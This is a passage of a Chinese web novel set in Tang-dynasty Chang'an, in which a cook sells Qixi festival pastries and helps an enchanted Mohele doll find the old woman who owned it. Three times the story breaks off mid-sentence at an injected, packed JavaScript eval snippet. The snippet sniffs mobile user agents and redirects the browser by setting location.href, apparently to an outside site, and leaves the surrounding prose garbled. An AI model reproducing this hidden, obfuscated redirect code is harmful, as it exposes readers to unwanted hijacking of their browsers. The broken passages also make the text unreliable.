这碧苔笺用了水中苔菜染色，其色浅绿，里头掺着云母粉泥、浣花笺则是用红色染料染色，其色朱红，里头掺着桃花碎片，纸面上蘸着金泥。 非常的好看，就是价格也不便宜。 段知微自觉一□□爬字对不起这样的彩笺，于是决定去找甄回,这位书生除了吃饭和做事的时候在厅堂，其他时间都蹲在库房念他的之乎者也。 雇佣双方都对彼此非常满意。 这边甄回顶着着两个黑眼圈出来，坐下颇为珍惜的摸了摸那昂贵的彩笺，而后提笔道：“娘子要写什么。” “双星良夜，耕慵织懒，应被群仙相妒。” “愿天上人间，占得欢娱，年年今夜。” “天阶夜色凉如水，卧看牵牛织女星。” 都是些脍炙人口的七夕诗词，段知微不假思索的就念了出来。 甄回对段知微的才学认知本来还停留在“早晨起来打两碗,饱得自家君莫管”的程度之上，突然几句惊才绝艳的乞巧诗词突然从她嘴巴里流露出来，甚觉惭愧、深感挫败。 甄回憋了一会，抹着眼泪感动道：“某真是小看了娘子，没成想段娘子竟然是女中诗仙，甄某苦读多年，做的诗也有上百首，全都比不上一句‘天阶夜色凉如水，卧看牵牛织女星’。” “你比不上的又不是我，这比不上范成大、柳永和杜牧不是很正常吗？”段知微心说，见他又要抹眼泪，颇为无奈。 一时阿盘她们几个的流苏串子也都编好，将流苏串子和写着乞巧词的彩笺别在竹篮边上，看上去甚是别致、优雅。 “定会大卖的。”段大娘笑着说。 乞巧前夜，段知微半夜起身上圊室，打着哈欠往外走，突然觉得远处有一处黑色的影子，提着旧瓦灯走过去，却跟也从卧房出来的段大娘撞在了一起。 段知微揉揉额头抱怨道“姑母，说了多少遍半夜出来上圊室要打灯啊。” 那边段大娘声音也闷闷的：“省点油灯钱......刚刚好像踩到了什么东西......算了。” 这事儿按下不表，第二日一早，段知微就开始忙着和面，做双色乞巧果子，这果儿被段知微捏成了花朵的形状，一半用末茶染成浅绿色、另一边用红曲染成红色，果子里头也包上两种馅料，一半黑色芝麻花生馅的，一半陈皮红豆沙馅的。 花朵中间用筷子戳一个洞出来，做的有点类似现代的红豆面包，从中间的花心里稍稍冒出半星红豆沙馅料，看上去霎是好看。 只这一种不免有些单调，段知微犹豫了一会儿，又试着做了蜜霜山楂糕、奶皮酥、透花糍和枣泥山药糕。 各色糕点码的整整齐齐往食肆外一高脚食案一放，竹篮礼盒往旁边一摆，旁边用一个长竿挂一幅醒目的字，上面写道：“七夕今宵看碧霄。牵牛织女渡河桥。” 这幅由唐朝诗人林杰创作的诗《乞巧》为食肆的广告帮了大忙，许多来往行人路过第一眼便是看到这幅写得极好的诗，而后目光便移动到食案上各色看上去甜美诱人的巧果。 蒲桃端着一个掐丝盘子站在门口，盘上是切成几个象眼块大的糕品，每个上头都插一根竹签，供来往食客试吃。 这事派蒲桃做很靠谱，她年纪小，长得像福娃一样可爱，捧着盘子让食客试吃，食客很是不好意思拒绝。 今日的其他吃食全停了，阿盘基本教一遍就能记得糕点的做法，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439999|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让她跟食客打交道比登天还难，于是让她安心留在火房制糕。 甄回在一旁收钱、段大娘抓紧把各色糕点往竹篮子里塞。段知微只好亲自面对各食客的各类问她。 “每样都可以拿，并不是只能拿其中一种。” “今日乞巧，最推荐的肯定是乞巧果子了，不过这蜜霜山楂糕也好吃，是普通山楂糕挂了甜面糊炸制而成，外面浇了蜂蜜还撒了白糖，皮酥里软，外甜内酸，别有一番风味。” 忙活到下午，食客渐少，可不，今日是乞巧节，都着急往家赶呢。 袁慎己骑着他的马缓缓进来，段知微看到他就笑了：“今日店中只有糕品甜点，都尉可要来一些？” 他今日穿着黑色劲装，整个人看上去干净利落，只是和今日食肆甜蜜的氛围不搭，尤其是空气中还弥漫着浓郁的香甜气息。 袁慎己确实对这股香甜的气息感到不太自在，但也稳了稳心神看向段知微的笑脸：“袁某家中老仆喜食甜食，今日乞巧果子便来一份吧。” “好勒”段知微回身去拿竹篮子“都尉挑选一个？” 今日的竹篮子也是大受欢迎，但是只有买满八个糕点，才有资格加购竹篮子，有些人甚至已经在别的铺子买好了今日的乞巧果子，为了这个别致的小竹篮，又硬着头皮在段知微这里买上八个巧果。 袁慎己低头看了两眼，便望着段知微的眼睛道：“那便要‘愿天上人间，占得欢娱，年年今夜。’” 气氛突然暧昧起来，段知微被他看得颇为不自在，只好低头攒了八个糕点放入竹盒内。 “乞巧愉快”袁慎己道。 “乞巧愉快”段知微回道。 然后他拎着那盒巧果走了。 今夜星光璀璨若一条虚幻天河，牵牛织女被天河之水隔在两侧，只等鹊桥搭建，来迎接一年一度的相会。 院中已经摆上食案，上头摆上各色甜糕、新鲜瓜果，幽香弥漫的玉兰花供在一个土淘瓶中，蒲桃已经把她捡到的娃娃擦洗干净，换上自己缝制的一套青纱裙，还给娃娃脖子上串了一株白玉兰。 此刻院中氛围不如平日欢脱，因为蒲桃今日需进行投针验巧，在乞巧这日将针扔入水中，若影子是一条细线或者呈云状、花状，那便是“乞得巧”，说明投针的女孩很是手巧，若是影子像个很粗的棒槌，那便是“祈得拙”。 一碗干净鸳鸯水摆在了食案上，蒲桃紧张地对着月亮三拜，然后把手中绣花针扔进了水中，段知微立刻拿起油灯照了上去。 蒲桃紧张的问：“怎么样？” 段知微琢磨了半天，也没看出这影子究竟像个什么，倒是阿盘冷静道：“是个刀状，乞得巧。” 蒲桃振臂欢呼。 段知微虽然没琢磨明白，但看她高兴地样子，倒也罢了。 “来来来，用暮食了！”段大娘今天赚得盆满钵满，流水的铜钱往铺子里送，甚至好几辆宝马香车停在食肆门口，真是倍有面子，于是段大娘今日特地亲自下厨，煮了一锅清甜消暑的荷叶粥。 这粥呈现淡绿色，看着很舒爽，而且熬得软糯粘稠，里头搁了些山楂碎和莲子，看上去就好喝。 大家忙碌了一日，只觉食指大动，赶忙拿起勺子舀上，却听到一个稚嫩的声音道：“这个不能吃。” 22. 第二十二章 段知微这两日都对那个看着有些怪怪的磨喝乐娃娃很有些戒心，因此第一个反应就是朝着那个磨喝乐望去。 由于乞巧节，最近市面上的磨喝乐娃娃都两贯前起步了，竟然被蒲桃轻易捡到了，这根本就不合常理好吧，这跟路上走着走着捡了个金子有什么区别。 磨喝乐娃娃穿一身青纱襦裙，手捧莲叶，一动不动的笑眯着眼。看上去并没有什么异常。 段知微松一口气，只怪自己在现代恐怖娃娃的电影看得太多了，导致疑心病过重。她又低头带着疑问去看开心吃着鱼干的金华猫，猫赶紧冲着她遥摇头。 还是阿盘靠谱，她冷静的四处仔细看了一圈，来了一句：“声音似乎是从香案上传来的。” 香案上只有一盘乞巧果子、在井水里湃了一日的冰凉瓜果，还有一架彩色纸扎的香桥和一瓶鲜花。 阿盘迟疑着说：“声音好像是从木瓜那儿来的。” 段知微也看向摆在盘里一个橙黄鲜亮的木瓜，可是总不能是木瓜成精了吧。 “不是木瓜啊，是我啊。”一个稚嫩的声音又从木瓜上传来。 众人凑近一看，一只米粒大的喜蛛正趴在木瓜上结网。蒲桃不好意思的挠挠头道：“是我悄悄把喜蛛放到木瓜上去了。” 喜蛛应巧也是乞巧节的一种传统习俗，喜蛛若是愿意在瓜果上结网，第一个看见结网的人一年都会顺风顺水、大吉大利。 总不至于......是一只蜘蛛在说话吧，段知微安慰自己。 下一秒，那只正在结网的喜蛛转了过来，搓搓双脚道：“没错，就是我啊。” 不等段知微反应，只听“嗷”一声，站在最后面的甄回昏了过去，段知微赶紧指挥旁边的段大娘和阿盘把甄回抬回了房间，段大娘边搀扶他边不满的抱怨道：“真是百无一用的书生，老身年轻的时候在江上遇到江伥......” 段知微又催促蒲桃回房间，没想到蒲桃死死拽住她的衣袖固执道：“我与娘子共存亡！” 段知微擦擦汗：“哪有那么夸张。” 谈话之间那一只小喜蛛快速从香案上顺着桌子腿滑动到地面上，而后周身开始散发出淡粉色的光晕，喜蛛的身形逐渐模糊起来，八只爪子开始慢慢拉长变成人类的四肢，粗糙的棕色表面变得人类光滑细腻的肌肤。 过了一会儿，从光晕里走出一个和蒲桃年龄差不多大的、笑眼盈盈的小女孩，身穿淡粉色罗裙，在夏风里微微摇曳。 她的头发梳成两个可爱小髻，簪着桃花小钗，粉雕玉琢的小脸蛋儿红扑扑的，眼睛又大又亮，鼻子小巧微微翘着，甚是可爱，看上去与人间的孩童并无区别。 只除了她后背上有向两旁伸出两对褐色步足，跟蜘蛛脚并无二致，每对步足间都还挂着一些白色的蜘蛛丝。 喜蛛用背后的步足熟练夹起一个乞巧果子递到嘴边嘀嘀咕咕：“早就想尝尝了，可惜前几日未到乞巧，织女星力量不够，化不成人形。” 刚把甄回送进库房的段大娘一边抱怨一边从房内出来，看到喜蛛背后四只长着绒毛的蜘蛛脚，“嗷”了一声，翻了个白眼也跟着昏了过去。 几个人又是一顿混乱忙活，把昏过去的段大娘也抬进了房间。 喜蛛不好意思的挠挠头：“我年纪小，法术还不熟练，八只脚里的其中四只化成了手脚，还有四只不知道怎么办了，只能幻化到后背啦。” 她吃完乞巧果子抹了抹嘴巴的碎屑，对着目瞪口呆的段知微和蒲桃郑重叉手为礼道：“妾名唤朱娘，这些时日都亏了蒲娘子的照料，才能恢复元气转变成人形。” 蒲桃第一次被人郑重称呼为蒲娘子，很是受用，学着大人模样摆摆手：“不客气不客气。” 朱娘正色道：“这荷叶粥不能吃，被人下了东西。”她指了指香案上乖乖举着莲花的磨喝乐娃娃。 那娃娃突然活动了一下，而后擦了把冷汗，撒腿就后院的门狂奔过去，被伏在屋檐上的金华猫一下子叼住抓了回来。 磨喝乐没有办法，只能跪坐回香案上：“我错了。” 朱娘双手叉腰：“那日你刚来就差点把段大娘扔进井里了。” “那只是一个意外，我只想让她松手，没想让她滑倒，再说了我自己都掉井里了。” 朱娘继续问：“那你大半夜站到段大娘卧房门口，不就是想吓她？” “我只是想稍微吓唬一下她，谁知道这个大娘抠得很，舍不得点油灯，不仅没看见我，还一脚踩我头上去了。” “怪不得前夜起身的时候觉得怪怪的”段知微心里默默同情了她一下，因问道：“那荷叶粥呢？” 磨喝乐低头表示：“一丢丢薄荷碎粉，吃了会一晚上不停打喷嚏。” 段知微很是不满：“蒲桃对你这么好，你这么对我们。” 磨喝乐擦了擦眼睛道：“我是不得已。”而后坐下开始讲起了她的故事: “很久之前，有一位很有名声的泥人师傅，最擅长做磨喝乐娃娃，他做的磨喝乐娃娃大都看上去聪明可爱，栩栩如生，因此订购的人非常多。有一日他做腻了规规矩矩的磨喝乐，心血来潮画了一个别样的、笑眯了眼的娃娃。” 磨喝乐顿了顿，艰难道：“那个娃娃就是我。在漫长的岁月里，我一直渴望和同伴们一样，被某位娘子开心而珍重的带回家。可我是一个与众不同的娃娃，每个客人都会率先注意到我，然后惊叹一番再摇摇头，去拿那些制作的循规蹈矩的磨喝乐。” 在经历了冗长的岁月之后，在经历了无数期待和失落之后。终于有个新罗人看这磨喝乐生得奇特，想把她带回国，磨喝乐抱着无尽的期许跟着新罗人上了船，结果一日海上突然起了很大的暴风雨，船沉没了，磨喝乐被海里的一条大鱼一口吞了进去。 不知又过了多久，在暗无天日的鱼肚子里待了多久，终于大鱼被渔民打捞了上来，渔民抛开鱼的肚子发现了她，磨喝乐得以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457529|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再见天光。 渔民的小儿子玩了几日娃娃便腻烦了，随手把她扔在了沙滩上，磨喝乐日日被炽热的阳光烘烤，被咸味的海风风蚀，一天比一天伤心难过。 海边晒盐的渔民不理她，流浪的野狗对着她嗅了嗅，也摇着尾巴走了， 磨喝乐的心变得绝望，支离又破碎，再也感知不到爱的能力，她不再期待有人会爱她，以为一生便这样过了。 可是等啊等，在这漫长的岁月之后，一双沧桑又温暖的手把她捡了起来。 那是一个满脸慈祥的老婆婆，她和自己的小孙女相依为命，捡了磨喝乐以后，把收割了一年的麦子卖了，换成了铜钱去找制偶师，把磨喝乐皲裂的身体重新描绘。 然后婆婆和小孙女在皎洁月光下面用碎花布料为她缝制小衣襦裙，磨喝乐娃娃摇身一变，变得焕然一新。 那是磨喝乐最快乐的时光，老婆婆带着小孙女在终南山拾取柴火，磨喝乐也跟在后面捡树枝；老婆婆在家用捡来的柴火烧成碳，磨喝乐也要趴在她肩头看，然后熏得一脸黢黑。 婆婆就会慈爱的给磨喝乐擦擦脸：“娃娃啊，你在咱们家好吗，你过得幸福吗？” 磨喝乐身上是婆婆熬夜缝制的碎花棉衣，跟小孙女身上的一模一样，她狠狠点点头。 可惜快乐的时光总是那样的短暂，不久后的一个雪夜里，小孙女突发了疾病。 这日宵禁未过，婆婆在大雪的夜里跑着去求坊正开门，又要拿着特批的帖子去请郎中，不知在雪中摔了多少次，也不知哭了多久，脸上的眼泪都结成了霜雪。 待坊正特批开了坊门之后，天光已经大亮，郎中好容易背着药箱踏着雪赶到婆婆家中，小孙女已经没气了。 讲到这里，朱娘和蒲桃两个小孩已经开始抽噎，段知微也倍觉心酸，用袖子擦擦眼泪问道：“后来呢？” 从那之后婆婆身体快速地衰败下去，成日抱着孙女的碎花衣衫坐在院落里看日生日落。 乞巧前日，婆婆再次用满是老茧的手抱起磨喝乐：“娃娃啊，你生在咱们家还幸福吗？” 而后她给磨喝乐换上了一身破旧的灰麻布衣，蹒跚着走了很远的路。把磨喝乐放到了一棵老树之下，不久磨喝乐就被蒲桃捡了回来。 磨喝乐跪坐香案上给段知微几人鞠躬道歉：“虽然很是失礼，我也给诸位带来了很多不愉快，但是我妖身坎坷，我一定是被诅咒的磨喝乐娃娃。制造这些风波，是想请你们扔了我，我再去看婆婆一眼，确认她过得好的话，我会自散妖力，不会再给别人带来灾祸。” 两个孩子已经开始嚎啕大哭，段知微决心帮帮她，于是跟磨喝乐商议道：“今夜已经宵禁，明日我驾着驴车带你一起去看看婆婆怎么样？” 磨喝乐大喜，给段知微道谢：“感谢娘子不计较前尘，日后若有用到我的地方，娘子直说。” 段知微无奈指了指仍在大哭的朱娘和蒲桃：“那你帮我哄哄她们吧。” 23. 第二十三章 乞巧节的第二日是个大晴天，段知微还在熟睡，磨喝乐就爬到枕上，拍拍她的脸，催促段知微起床。 段知微被迫打着哈欠起身，又觉得出门拜访不能空手，于是问磨喝乐，婆婆爱吃什么，她做了一道儿送去。 磨喝乐说婆婆喜食甜糕。 段知微想着毕竟是上了岁数的老人，便琢磨做一份养生的五香糕，里头搁上些人参、芡实、白术、茯苓和砂仁，除了香气浓郁，还能补补身体。 她正低头把药材放入石碾中研磨，磨喝乐站在她的肩头耳提面命：“婆婆牙口不好，一定要磨得极细才行。” 段知微又架上了筛子，磨喝乐又道：“要多过几次筛子，不能偷懒，防止芡实里头埋了沙石。” 段知微：“......” 朱娘和蒲桃适时跑进火房，带着磨喝乐出去，磨喝乐不太情愿：“我要盯着段娘子制糕。防止有其他妖魔鬼怪前来下毒。” 蒲桃说：“我们要好好给你打扮一下，你打扮得漂亮了，婆婆见了你就会很开心，就不舍得再把你送人啦。” “原来如此。”磨喝乐不再挣扎，乖乖跟她们走了。 段知微长松一口气，继续往面糊里加入白砂糖滚热拌匀，放到锅上蒸熟。 很快五香糕便出了炉，段知微特特用桃花模子蒸的，甜糕们像花朵一般漂亮，散发出浓郁樟香和根果香。 段知微特意减少了白砂糖的用量，多放了些醇甜的蜂蜜，想来老人一定会喜欢。 她把五香糕攒进食盒，稍微收拾了一下，就要带着磨喝乐出门，磨喝乐被两个女孩穿上了一身极为夸张的紫色长袍，头上挂着刚摘下的一整朵桃色月季花，两颊被胭脂涂得红彤彤，两耳挂上了松子果做的耳环子，整个娃娃看上去甚是滑稽。 蒲桃和朱娘也闹着要去，蒲桃倒是还好，只是朱娘后背的蜘蛛脚...... 段知微眼睛一闭心一横，哆哆嗦嗦给她背后绑了个大包袱，在尽量不触碰她后背的同时遮挡住了蜘蛛脚，然后几个人驾着驴车出门了。 婆婆住在北里平民巷里，这里的黄土地坑洼不平，两侧的茅草房歪歪斜斜，看着随时就要倒塌，远处几声狗叫更显萧条。 这儿破败又狭窄，驴车根本不好走。段知微只好把驴车停在大道的树边，带着几个孩子走小路。 磨喝乐双手高高举着装着甜糕的食盒跑在最前面，一边跑一边回头催促：“快，就在这边。” 几个人一路小跑，绕了好几个弯最后停在了最后一间小屋边上。 磨喝乐愣愣地看着那屋子，喃喃道：“怎么会这样。” 这儿的房屋大都数门窗都破败不堪，很多都甚至没有门窗，只有一块破布挡着，段知微好不容易也跑到了目的地，正自低头喘气，听她这样一说，掀开帘子一看，也愣住了。 这房子只有一间屋，里头干净得只剩四面灰墙，是真正意义上的家徒四壁，人去楼空。 磨喝乐一把扔掉头上的月季花朵，跪在地上哇哇大哭起来：“我就知道，我是被诅咒的娃娃，婆婆真的抛弃我走了。” 后面跟着的朱娘和蒲桃也跟着大哭起来，一人拽着段知微一只袖子哭道：“娘子求您了想想办法。” 段知微也甚觉难过，为难的想了一想，回忆起刚刚来的路上有位老媪坐在银杏树下晒太阳，便道：“我去找邻居打听一下。” 她往回走了一段路，见那老媪仍坐在原地闭目养神的晒着太阳，段知微换上一副亲切的笑脸，拿着食盒过去道：“婆婆，跟您打探个事儿，您知道巷尾那家的高婆婆去哪儿了吗？” 老媪睁开眼睛，见一年轻娘子朝着她笑，又给她递上一块糕，想来也是很久没和别人说过话了,因此毫无防备的托盘而出：“你说高娘子啊，可怜哦，年轻时没了丈夫，儿子媳妇出城经商的时候遇到土匪也没了，自己带着个孙女，呵护的如珠如宝，后面小孙女得了急症，一夜间又没了，可怜哦。” “那她去哪儿呢？”段知微感受到挎包里磨喝乐在轻轻推她，于是问道。 老媪叹口气：“最近高娘子来跟我拜别，说是自觉身体不行了，大限要到了，于是跟我们拜别，拎着个包裹回勉县老家，叶落归根去了。” 段知微从包里拿出磨喝乐，问道：“那您认识这个娃娃吗？” 老媪擦擦眼睛，又看一眼段知微双手捧着的磨喝乐，惊奇道：“唉，这不是高娘子家的娃娃吗？” 段知微赶紧点头：“对对，我们就是来送还娃娃的，您知道高婆婆为什么要把她丢弃吗？” 老媪道：“高娘子说了，自己很快就要入土了，不能让娃娃也跟着一起入土吧，这样太可怜了，前些日子给娃娃送出去了，说捡到娃娃的是个小娘子，看着一脸福相，跟她孙女很像，一定会很珍惜的对待磨喝乐娃娃的。” 段知微能够想象到，为了给磨喝乐找个新家，高婆婆特意给她换上一身破败小衣，脸上粘上些泥污。 因为若是个鲜活光亮的娃娃，各个都想去捡，没准玩腻了就扔掉。 但是只有真心爱娃娃的人才会把满是泥泞的她捡走。 高婆婆一定是躲在某个角落里，在看到蒲桃上前开心地捡起磨喝乐以后，才放心的、蹒跚着脚步一个人往家的方向走去了。 回去的驴车上，磨喝乐哭得脸上都是胭脂染开的红晕，她不太在意的用袖子擦擦眼泪，对着段知微道：“我实在感念你们的恩情，只是现在我一定要回去婆婆身边，还望娘子放我下车。” 蒲桃急道：“你这么小，勉县在长安城外，你怎么去啊。” 磨喝乐坚定道：“我可以走过去，我可以借助野猫的力量，也可以借助飞鸟的翅膀。到了长安城外，我还可以随着渭水河流飘过去，无论如何，前路再艰难，我一定要过去。” 两个孩子又求助似的望向段知微，段知微想了想，叹口气一咬牙转身驾着驴车往新昌坊去了。 袁府的老管家看上去就像是认识了段知微一样，热情把她往前厅引，奉上茶后一溜烟跑去后院报信去了。 很快袁慎己就从后院快步出了来，时间紧迫，段知微赶紧举着磨喝乐娃娃向他说明前因后果。 而后小心翼翼看向他：“勉县离长安虽不算遥远，只是实在是时间紧迫，妾知道袁都尉为难，但寻常车马怎是金吾卫快马可比的？若官署中有谁今日要路过勉县，希望能把这个娃娃稍带上。” 袁慎己沉吟片刻道：“勉县自然不远，但最近确无去那儿的公务，袁某有匹西域快马，日行千里，某亲自替娘子跑一趟，明日就能到达。” 段知微本来全身神经紧绷，闻此言大松一口气：“太谢谢你了。” 袁慎己摆摆手，又命老仆去库房取了一个精致的盒子来，他低头打开，里头是一份完整的老山参：“袁某曾在凉州城外遇到突厥埋伏，身负重伤，这人参便是当时宫中赐下的，据说能为人续上两月性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457530|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命，这人参某也带上，一同赠与那高婆婆。” 段知微很是不好意思，这人身定当值个千金，只是两月时光对磨喝乐和高婆婆都很重要，便不好再拒绝。 很快一匹英姿飒爽的黑马被老仆从马厩里牵出来，袁慎己利落翻身上了马。 段知微从头上拔下一根叶脉簪子对着磨喝乐道：“这簪子簪身虽是黄铜，叶片是黄金打造的，到了那儿若是缺了银子，把这个拿去典当行当了。” 磨喝乐很是惶恐，摇摇手说：“已经承娘子大恩，怎好再拿娘子如此贵重的首饰。” 段知微不由分说把簪子放入磨喝乐手中道：“来日方长，以后若有空了，跟婆婆一起来段家食肆照顾我生意，便是报恩了。” 磨喝乐爬上了马，搭在袁慎己的肩膀上，擦擦眼泪朝着她们挥手道：“我会给大家写信的！” 袁慎己牵起缰绳，黑马扬起前蹄嘶鸣了半日，而后如疾风一般跑远了，扬起了阵阵尘土。 三人站在原地看着他们走远，蒲桃和朱娘扬起脑袋问段知微：“娘子，磨喝乐会和高婆婆再遇吗？” “当然了。”段知微低头摸摸她俩的头笑着说：“只要是想见的人，即使隔着山川湖海，也总有一日会再见的。” 回了食肆以后，甄回坐在门外的树下看书，见她们回来，赶紧一边抹脖子，一边朝着食肆使眼色。 三人都很困惑。 一阵看上去很浓厚的怨气从食肆里飘了出来，段大娘双眼冒着红光，手中举着一块被裁的坑洼的绛紫色妆花缎子：“谁能跟我解释一下，这块老身考虑了半年才买的、绣着宝相花纹的缎子怎么了？” 蒲桃吐吐舌头：“我们裁了一块拿去给磨喝乐娃娃做新衣服了。” “哦？”段大娘身后的怨气看上去更重了，她又掏出一个精致香合，里头的褚红胭脂被挖出了一大块：“那谁给我解释一下，这块掺了紫茉莉花粉和大食蔷薇水、我考虑了一年才买的胭脂怎么了？” 这回是朱娘不好意思的挠挠头：“这个嘛，我们想给磨喝乐打扮漂亮一点，就给她涂了一点在脸上。” “那我院中今夏开的第一朵月季花......” 段知微摆摆手：“别问了，都是，都是......” 段大娘突然眼睛一眯，上来就按住段知微的脑袋。 “哎呦姑母你做什么呢？” “你那个叶脉簪子去哪儿了，那可是你姑母我考虑了两年才舍得找金匠打的簪子！” 段大娘看上去像一个走火入魔即将暴走的绝望络新妇，她冲着低头的三人咆哮：“面壁，全都给我去面壁！” 三个人只好一溜烟的跑走了。 今日天气晴朗，天空湛蓝得如同一整块蓝宝石，阳光毫无阻碍第倾洒在大地和房屋上，似乎镀上了一层璀璨的光晕，远处终南山山峦此起彼伏，郁郁葱葱，生机无限，微风清拂过去，真是一个好天气。 在屋檐上晃荡着尾巴晒太阳的金华猫如是想。 很快它就被段知微揪了起来。 金华猫：“喵？” 段知微叉着它道：“你还有脸喵，一只成精的磨喝乐娃娃半夜在家里跑来跑去，还给荷叶粥下什么喷嚏粉子，你作为金华氏的贵公子竟然什么都不知道！” 她顿了顿举起猫，看着它圆溜溜的眼睛继续道：“跟我一起去面壁，还有今晚的小鱼干别想了。” 金华猫：“？？？” 24. 第二十四章 八月晦日，满池荷花绽放到了尾声，坊间路上全是摊贩拎着竹筐在卖鹅黄转青的莲蓬和新鲜红菱。 段大娘上回乞巧被气得闪了腰，最近出不了门，就坐在藤编春凳上指挥你指挥她，一会儿要吃煮得老老的菱角，一会儿要喝对街豆腐小店的豆汤，虽然段知微觉得她就是在偷懒而已。 朱娘跟她们住了几日前来拜别，很是郑重跟段知微道谢：“多谢娘子收留，之前我与阿耶置气，偷偷溜了出来，在食肆里看到大家相亲相爱，现在实在是有些想家，这厢便告辞了。” 蒲桃不舍得看着她，朱娘拉住她的手安慰道：“我家族扎根在城北的八字娘娘殿中，闲暇时可以来找我顽，阿耶阿娘和我一千多名族人一定很欢迎你们。” 段知微问道：“你的意思是，那里栖息着上千的可能成精的蜘蛛？” 朱娘点点头。 去是不可能去的，这辈子都不可能去的，段知微心想。 朱娘背着几大包乞巧果子心满意足地走了。 段知微送完朱娘，刚准备转身进火房，却又被躺在春凳上扇扇子的段大娘喊了去。 “过两日便是八字娘娘诞日，你替我去城北上上香。” 惨遭打脸的段知微：“......” 段大娘没注意到她的沉默，继续讲着诞日进香的风俗，什么要把麦草编成灯芯式样，把金纸糊成箩...... 看段知微听得漫不经心，段大娘用扇子敲敲凳子腿：“你不要不相信，箩上写上自家姓名和愿望焚化殿庭，八字娘娘很灵验的，妇人若热香献履，再生能转男身。” 段知微内心狠狠翻个白眼，拔腿就要走。 “还能保佑商家富足。”段大娘急忙补充道。 这还有些像话。 段知微自然不会为了特意许个愿就往城北跑一趟，但是八字娘娘诞日一年就一度，香火一定很盛。 她摆摊的心又开始蠢蠢欲动。 过了两日，果肆的伙计推了个独轮车来食肆送食材。段知微忙迎了上去，招待伙计喝一碗甘草凉水，又掏出准备好的称钱塞给伙计。 伙计喜笑颜开的受了，向段知微拱拱手，一气儿去了。 这点儿贿赂很是有用，今儿送来的一大框子碧绿色的莲蓬散发着清淡荷香，还有一箕今早新采摘的荷叶，上头还滚着露水，看上去十分新鲜，想来没在其中掺陈货。 段知微又进库房找正在念书的甄回，甄回见到她，不消说自动拿起纸墨问：“娘子这回要写什么？” 段知微想了一回：“就写夏月麻腐鸡皮、荷叶粉蒸肉。” 甄回写好后，段知微挑个竹竿把字高高挂在食肆外头，聊作幌子。 这夏月麻腐鸡皮中的麻腐是将绿豆粉和芝麻浆混合起来熬煮，置于凉水中定型，切片成“麻腐”，这麻腐看上去光滑透亮，吃起来清凉又滑嫩，是很适合夏天的一位美味佳肴。 再把五花肉腌上酱、料酒等，再细细抹上一层蒸肉米粉。把裹着米粉的肉片包进新鲜荷叶中包裹严实，再放入蒸笼里蒸上，很快荷叶的清香便从蒸笼里冒了出去。 阿盘和蒲桃坐在小胡床收拾果肆刚刚送过来的莲蓬，莲蓬质地粗糙，莲子们藏在蜂窝状的孔洞里，有一些难剥。 蒲桃剥得龇牙咧嘴，段知微打了桶井水洗洗手，也加入了剥莲子大军。 阿盘是剥莲蓬的好手，她只捏住莲蓬边缘，往两边用力一拉，一颗白白嫩嫩的莲子便能剥落下来。 段知微剔掉莲心，拿了一颗尝尝，清甜爽脆。 好吃，下次还去这家果肆订购。 段知微曾在什刹海附近的小摊子吃过一种莲子羹，冰镇的糖水，里头湃着鲜藕、菱角和莲子。若是愿意加钱，还能再得到几颗蜜渍的红樱桃。 一份莲子冰碗，红白相间，清甜爽口。夏日炎炎，游人如织，拿着这份莲子冰碗坐在凉亭里看什刹海的荷塘十里，简直是一种享受。 熬煮好的一大锅莲子羹滑腻温润，放凉后搁上之前买的陈冰，看上去很是不错。 段知微把一缸莲子羹放上驴车，动身要往八字娘娘庙走，蒲桃说想念朱娘了，要跟着一块去。 段知微想到了朱娘她一千多族人......不对，是族蛛，沉默了一会儿，不待她拒绝，蒲桃自己手脚并用的爬上了驴车。 段大娘在后面看她两的背影喊道：“别忘了去殿庭里烧竹箩。” 今日果然是八字娘娘庙香火最盛的一天，门口停满了各色宝马香车。长安仕女们插花满头，手持麦草竹箩，相携着往殿里头走。 隔着庙的古朴黄墙，远远就能看见袅袅香火的青烟穿过树木的缝隙升腾飘散，与洒下的金色阳光交织缠绕。 朱娘一早就站在殿外的一棵老树下等她们，蒲桃噔噔噔走过去，段知微先把自己扎好的麦草竹箩递给她们，嘱咐道：“别走太远，这个竹箩别忘了烧，早些回来吃莲子羹，里头搁了冰，太久了就不凉了。” 两人笑着应了，拎着竹箩手牵着手跑远了。见她们走远，段知微这才把一大缸莲子羹从驴车上卸了下来。 八字娘娘庙外头非常的热闹，想来参拜的仕女们结束后会买些胭脂花粉、针头线脑什么的，长安的小贩一股脑儿簇拥了过来，卖各色儿饮子的、甜糕的、胡饼的、馄饨的。还有用度上的针线、花儿粉的，整条街都热闹哄哄的。 段知微故技重施，拿一个高脚食案摆到前头，摆上一碗色泽温润，呈白玉色的莲子羹，这羹里除了莲子，还放了桃仁、银耳和红枣碎，因此略显黏稠。 